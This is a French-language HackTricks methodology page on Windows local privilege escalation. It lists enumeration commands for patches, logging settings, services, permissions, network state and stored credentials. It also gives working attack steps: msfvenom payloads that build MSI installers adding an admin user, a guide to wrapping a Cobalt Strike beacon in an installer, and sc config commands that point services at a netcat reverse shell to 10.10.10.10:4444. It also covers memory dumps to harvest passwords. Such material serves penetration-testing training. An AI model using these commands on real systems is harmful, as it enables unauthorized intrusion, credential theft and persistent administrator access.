hacktricks/windows-hardening/windows-local-privilege-escalation

Windows Local Privilege Escalation

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Windows : WinPEAS

Théorie initiale sur Windows

Jetons d'accès

Si vous ne savez pas ce que sont les jetons d'accès Windows, lisez la page suivante avant de continuer :

{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}

ACLs - DACLs/SACLs/ACEs

Consultez la page suivante pour plus d'informations sur les ACLs - DACLs/SACLs/ACEs :

{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}

Niveaux d'intégrité

Si vous ne savez pas ce que sont les niveaux d'intégrité dans Windows, vous devriez lire la page suivante avant de continuer :

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Contrôles de sécurité Windows

Il existe différentes choses dans Windows qui pourraient vous empêcher d'énumérer le système, d'exécuter des exécutables ou même de détecter vos activités. Vous devriez lire la page suivante et énumérer tous ces mécanismes de défense avant de commencer l'énumération de l'escalade de privilèges :

{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}

Informations système

Énumération des informations de version

Vérifiez si la version de Windows présente des vulnérabilités connues (vérifiez également les correctifs appliqués).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Ce site est utile pour rechercher des informations détaillées sur les vulnérabilités de sécurité Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la surface d'attaque massive qu'un environnement Windows présente.

Sur le système

• post/windows/gather/enum_patches
• post/multi/recon/local_exploit_suggester
• watson
• winpeas (Winpeas a watson intégré)

Localement avec des informations système

• https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• https://github.com/bitsadmin/wesng

Repos Github d'exploits :

• https://github.com/nomi-sec/PoC-in-GitHub
• https://github.com/abatchy17/WindowsExploits
• https://github.com/SecWiki/windows-kernel-exploits

Environnement

Des informations d'identification/infos juteuses enregistrées dans les variables d'environnement ?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historique PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Fichiers de transcription PowerShell

Vous pouvez apprendre à activer cela sur https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.

Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en choisissant "Module Logging" au lieu de "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Pour afficher les 15 derniers événements des journaux PowersShell, vous pouvez exécuter :

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Un enregistrement complet de l'activité et du contenu de l'exécution du script est capturé, garantissant que chaque bloc de code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit complète de chaque activité, précieuse pour l'analyse judiciaire et l'analyse des comportements malveillants. En documentant toute l'activité au moment de l'exécution, des informations détaillées sur le processus sont fournies.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Les événements de journalisation pour le Script Block peuvent être trouvés dans le Windows Event Viewer à l'emplacement : Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Pour voir les 20 derniers événements, vous pouvez utiliser :

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Paramètres Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Disques

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Vous pouvez compromettre le système si les mises à jour ne sont pas demandées en utilisant httpS mais http.

Vous commencez par vérifier si le réseau utilise une mise à jour WSUS non-SSL en exécutant ce qui suit :

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Si vous recevez une réponse telle que :

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Et si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer est égal à 1.

Alors, il est exploitable. Si le dernier registre est égal à 0, alors, l'entrée WSUS sera ignorée.

Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils comme : Wsuxploit, pyWSUS - Ce sont des scripts d'exploits MiTM armés pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL.

Lisez la recherche ici :

{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}

WSUS CVE-2020-1013

Lisez le rapport complet ici.
Fondamentalement, c'est le défaut que ce bug exploite :

Si nous avons le pouvoir de modifier notre proxy utilisateur local, et que les mises à jour Windows utilisent le proxy configuré dans les paramètres d'Internet Explorer, nous avons donc le pouvoir d'exécuter PyWSUS localement pour intercepter notre propre trafic et exécuter du code en tant qu'utilisateur élevé sur notre actif.

De plus, puisque le service WSUS utilise les paramètres de l'utilisateur actuel, il utilisera également son magasin de certificats. Si nous générons un certificat auto-signé pour le nom d'hôte WSUS et ajoutons ce certificat dans le magasin de certificats de l'utilisateur actuel, nous pourrons intercepter à la fois le trafic WSUS HTTP et HTTPS. WSUS n'utilise aucun mécanisme de type HSTS pour mettre en œuvre une validation de type confiance à la première utilisation sur le certificat. Si le certificat présenté est approuvé par l'utilisateur et a le bon nom d'hôte, il sera accepté par le service.

Vous pouvez exploiter cette vulnérabilité en utilisant l'outil WSUSpicious (une fois qu'il est libéré).

KrbRelayUp

Une vulnérabilité d'escalade de privilèges locaux existe dans les environnements domaines Windows sous des conditions spécifiques. Ces conditions incluent des environnements où la signature LDAP n'est pas appliquée, les utilisateurs possèdent des droits leur permettant de configurer Resource-Based Constrained Delegation (RBCD), et la capacité pour les utilisateurs de créer des ordinateurs au sein du domaine. Il est important de noter que ces exigences sont satisfaites en utilisant les paramètres par défaut.

Trouvez l'exploit dans https://github.com/Dec0ne/KrbRelayUp

Pour plus d'informations sur le déroulement de l'attaque, consultez https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Si ces 2 registres sont activés (la valeur est 0x1), alors les utilisateurs de n'importe quel privilège peuvent installer (exécuter) des fichiers *.msi en tant que NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Charges utiles Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si vous avez une session meterpreter, vous pouvez automatiser cette technique en utilisant le module exploit/windows/local/always_install_elevated

PowerUP

Utilisez la commande Write-UserAddMSI de power-up pour créer dans le répertoire actuel un binaire MSI Windows pour élever les privilèges. Ce script génère un installateur MSI précompilé qui demande l'ajout d'un utilisateur/groupe (vous aurez donc besoin d'un accès GIU) :

Write-UserAddMSI

Juste exécutez le binaire créé pour élever les privilèges.

MSI Wrapper

Lisez ce tutoriel pour apprendre à créer un wrapper MSI en utilisant ces outils. Notez que vous pouvez envelopper un ".bat" si vous voulez juste exécuter des lignes de commande.

{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}

Créer un MSI avec WIX

{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}

Créer un MSI avec Visual Studio

• Générez avec Cobalt Strike ou Metasploit un nouveau payload TCP EXE Windows dans C:\privesc\beacon.exe
• Ouvrez Visual Studio, sélectionnez Créer un nouveau projet et tapez "installateur" dans la barre de recherche. Sélectionnez le projet Setup Wizard et cliquez sur Suivant.
• Donnez un nom au projet, comme AlwaysPrivesc, utilisez C:\privesc pour l'emplacement, sélectionnez placer la solution et le projet dans le même répertoire, et cliquez sur Créer.
• Continuez à cliquer sur Suivant jusqu'à ce que vous arriviez à l'étape 3 sur 4 (choisir les fichiers à inclure). Cliquez sur Ajouter et sélectionnez le payload Beacon que vous venez de générer. Puis cliquez sur Terminer.
• Mettez en surbrillance le projet AlwaysPrivesc dans l'Explorateur de solutions et dans les Propriétés, changez TargetPlatform de x86 à x64.
• Il y a d'autres propriétés que vous pouvez changer, comme l'Auteur et le Fabricant qui peuvent rendre l'application installée plus légitime.
• Cliquez avec le bouton droit sur le projet et sélectionnez Afficher > Actions personnalisées.
• Cliquez avec le bouton droit sur Installer et sélectionnez Ajouter une action personnalisée.
• Double-cliquez sur Dossier d'application, sélectionnez votre fichier beacon.exe et cliquez sur OK. Cela garantira que le payload beacon est exécuté dès que l'installateur est lancé.
• Sous les Propriétés de l'action personnalisée, changez Run64Bit en True.
• Enfin, compilez-le.
• Si l'avertissement File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' s'affiche, assurez-vous de définir la plateforme sur x64.

Installation MSI

Pour exécuter l'installation du fichier .msi malveillant en arrière-plan :

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Pour exploiter cette vulnérabilité, vous pouvez utiliser : exploit/windows/local/always_install_elevated

Antivirus et Détecteurs

Paramètres d'Audit

Ces paramètres décident de ce qui est journalisé, donc vous devriez faire attention

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Le transfert d'événements Windows, il est intéressant de savoir où les journaux sont envoyés.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS est conçu pour la gestion des mots de passe des administrateurs locaux, garantissant que chaque mot de passe est unique, aléatoire et régulièrement mis à jour sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne peuvent être accessibles que par des utilisateurs ayant reçu des autorisations suffisantes via des ACL, leur permettant de voir les mots de passe d'administrateur local si autorisés.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

WDigest

S'il est actif, les mots de passe en texte clair sont stockés dans LSASS (Local Security Authority Subsystem Service).
Plus d'infos sur WDigest sur cette page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Protection LSA

À partir de Windows 8.1, Microsoft a introduit une protection améliorée pour l'Autorité de Sécurité Locale (LSA) afin de bloquer les tentatives de processus non fiables de lire sa mémoire ou d'injecter du code, renforçant ainsi la sécurité du système.
Plus d'infos sur la protection LSA ici.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard a été introduit dans Windows 10. Son objectif est de protéger les informations d'identification stockées sur un appareil contre des menaces telles que les attaques pass-the-hash.| Plus d'infos sur Credentials Guard ici.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Les identifiants de domaine sont authentifiés par l'Autorité de Sécurité Locale (LSA) et utilisés par les composants du système d'exploitation. Lorsque les données de connexion d'un utilisateur sont authentifiées par un package de sécurité enregistré, des identifiants de domaine pour l'utilisateur sont généralement établis.
Plus d'infos sur les identifiants mis en cache ici.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Utilisateurs et Groupes

Énumérer les Utilisateurs et Groupes

Vous devriez vérifier si l'un des groupes auxquels vous appartenez a des permissions intéressantes.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Groupes privilégiés

Si vous appartenez à un groupe privilégié, vous pourriez être en mesure d'escalader les privilèges. Apprenez-en plus sur les groupes privilégiés et comment les abuser pour escalader les privilèges ici :

{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}

Manipulation de jetons

En savoir plus sur ce qu'est un jeton sur cette page : Jetons Windows.
Consultez la page suivante pour en savoir plus sur les jetons intéressants et comment les abuser :

{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}

Utilisateurs connectés / Sessions

qwinsta
klist sessions

Dossiers personnels

dir C:\Users
Get-ChildItem C:\Users

Politique de mot de passe

net accounts

Obtenir le contenu du presse-papiers

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

Tout d'abord, lister les processus vérifie les mots de passe à l'intérieur de la ligne de commande du processus.
Vérifiez si vous pouvez écraser un binaire en cours d'exécution ou si vous avez des permissions d'écriture dans le dossier binaire pour exploiter d'éventuelles DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Toujours vérifier la présence de débogueurs electron/cef/chromium en cours d'exécution, vous pourriez en abuser pour élever les privilèges.

Vérification des permissions des binaires des processus

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Vérification des permissions des dossiers des binaires des processus (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Extraction de mots de passe en mémoire

Vous pouvez créer un dump mémoire d'un processus en cours d'exécution en utilisant procdump de sysinternals. Des services comme FTP ont les identifiants en texte clair dans la mémoire, essayez de dumper la mémoire et de lire les identifiants.

procdump.exe -accepteula -ma <proc_name_tasklist>

Applications GUI non sécurisées

Les applications s'exécutant en tant que SYSTEM peuvent permettre à un utilisateur de lancer un CMD ou de parcourir des répertoires.

Exemple : "Aide et support Windows" (Windows + F1), recherchez "invite de commandes", cliquez sur "Cliquez pour ouvrir l'invite de commandes"

Services

Obtenez une liste des services :

net start
wmic service list brief
sc query
Get-Service

Permissions

Vous pouvez utiliser sc pour obtenir des informations sur un service

sc qc <service_name>

Il est recommandé d'avoir le binaire accesschk de Sysinternals pour vérifier le niveau de privilège requis pour chaque service.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Il est recommandé de vérifier si "Authenticated Users" peut modifier un service :

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Vous pouvez télécharger accesschk.exe pour XP ici

Activer le service

Si vous avez cette erreur (par exemple avec SSDPSRV) :

Une erreur système 1058 s'est produite.
Le service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a pas de périphériques activés qui lui sont associés.

Vous pouvez l'activer en utilisant

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Prenez en compte que le service upnphost dépend de SSDPSRV pour fonctionner (pour XP SP1)

Une autre solution à ce problème consiste à exécuter :

sc.exe config usosvc start= auto

Modifier le chemin binaire du service

Dans le scénario où le groupe "Utilisateurs authentifiés" possède SERVICE_ALL_ACCESS sur un service, la modification du binaire exécutable du service est possible. Pour modifier et exécuter sc :

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Redémarrer le service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Les privilèges peuvent être élevés par divers permissions :

• SERVICE_CHANGE_CONFIG : Permet la reconfiguration du binaire de service.
• WRITE_DAC : Permet la reconfiguration des permissions, conduisant à la capacité de changer les configurations de service.
• WRITE_OWNER : Permet l'acquisition de propriété et la reconfiguration des permissions.
• GENERIC_WRITE : Hérite également de la capacité de changer les configurations de service.
• GENERIC_ALL : Hérite également de la capacité de changer les configurations de service.

Pour la détection et l'exploitation de cette vulnérabilité, l'exploit/windows/local/service_permissions peut être utilisé.

Permissions faibles des binaires de services

Vérifiez si vous pouvez modifier le binaire qui est exécuté par un service ou si vous avez des permissions d'écriture sur le dossier où le binaire est situé (DLL Hijacking).
Vous pouvez obtenir chaque binaire qui est exécuté par un service en utilisant wmic (pas dans system32) et vérifier vos permissions en utilisant icacls :

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Vous pouvez également utiliser sc et icacls :

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

Vous devriez vérifier si vous pouvez modifier un registre de service.
Vous pouvez vérifier vos permissions sur un registre de service en faisant :

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Il faut vérifier si Authenticated Users ou NT AUTHORITY\INTERACTIVE possèdent des permissions FullControl. Si c'est le cas, le binaire exécuté par le service peut être modifié.

Pour changer le chemin du binaire exécuté :

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permissions AppendData/AddSubdirectory du registre des services

Si vous avez cette permission sur un registre, cela signifie que vous pouvez créer des sous-registres à partir de celui-ci. Dans le cas des services Windows, cela est suffisant pour exécuter du code arbitraire :

{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}

Chemins de service non cités

Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque partie se terminant par un espace.

Par exemple, pour le chemin C:\Program Files\Some Folder\Service.exe, Windows essaiera d'exécuter :

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Listez tous les chemins de service non cités, en excluant ceux appartenant aux services Windows intégrés :

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Vous pouvez détecter et exploiter cette vulnérabilité avec metasploit : exploit/windows/local/trusted\_service\_path Vous pouvez créer manuellement un binaire de service avec metasploit :

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Actions de récupération

Windows permet aux utilisateurs de spécifier des actions à entreprendre si un service échoue. Cette fonctionnalité peut être configurée pour pointer vers un binaire. Si ce binaire est remplaçable, une élévation de privilèges pourrait être possible. Plus de détails peuvent être trouvés dans la documentation officielle.

Applications

Applications installées

Vérifiez les permissions des binaires (peut-être pouvez-vous en écraser un et élever les privilèges) et des dossiers (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Écrit Permissions

Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier spécial ou si vous pouvez modifier un binaire qui va être exécuté par un compte Administrateur (schedtasks).

Une façon de trouver des permissions de dossier/fichier faibles dans le système est de faire :

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Exécuter au démarrage

Vérifiez si vous pouvez écraser un registre ou un binaire qui va être exécuté par un utilisateur différent.
Lisez la page suivante pour en savoir plus sur les emplacements d'autorun intéressants pour escalader les privilèges :

{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}

Pilotes

Recherchez des pilotes tiers étranges/vulnérables possibles.

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Si vous avez des permissions d'écriture dans un dossier présent dans le PATH, vous pourriez être en mesure de détourner une DLL chargée par un processus et d'escalader les privilèges.

Vérifiez les permissions de tous les dossiers à l'intérieur du PATH :

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Pour plus d'informations sur la façon d'abuser de cette vérification :

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

Réseau

Partages

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Vérifiez les autres ordinateurs connus codés en dur dans le fichier hosts.

type C:\Windows\System32\drivers\etc\hosts

Interfaces réseau et DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Vérifiez les services restreints de l'extérieur

netstat -ano #Opened ports?

Table de routage

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Table ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Règles de Pare-feu

Vérifiez cette page pour les commandes liées au Pare-feu (lister les règles, créer des règles, désactiver, désactiver...)

Plus de commandes pour l'énumération réseau ici

Sous-système Windows pour Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Le binaire bash.exe peut également être trouvé dans C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si vous obtenez l'utilisateur root, vous pouvez écouter sur n'importe quel port (la première fois que vous utilisez nc.exe pour écouter sur un port, il demandera via l'interface graphique si nc doit être autorisé par le pare-feu).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Pour démarrer facilement bash en tant que root, vous pouvez essayer --default-user root

Vous pouvez explorer le système de fichiers WSL dans le dossier C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Identifiants Windows

Identifiants Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Gestionnaire d'identifiants / Coffre Windows

De https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Le Coffre Windows stocke les identifiants des utilisateurs pour les serveurs, les sites web et d'autres programmes que Windows peut connecter les utilisateurs automatiquement. À première vue, cela peut sembler que les utilisateurs peuvent maintenant stocker leurs identifiants Facebook, identifiants Twitter, identifiants Gmail, etc., afin qu'ils se connectent automatiquement via les navigateurs. Mais ce n'est pas le cas.

Le Coffre Windows stocke des identifiants que Windows peut utiliser pour connecter les utilisateurs automatiquement, ce qui signifie que toute application Windows qui a besoin d'identifiants pour accéder à une ressource (serveur ou site web) peut utiliser ce Gestionnaire d'identifiants & Coffre Windows et utiliser les identifiants fournis au lieu que les utilisateurs saisissent le nom d'utilisateur et le mot de passe tout le temps.

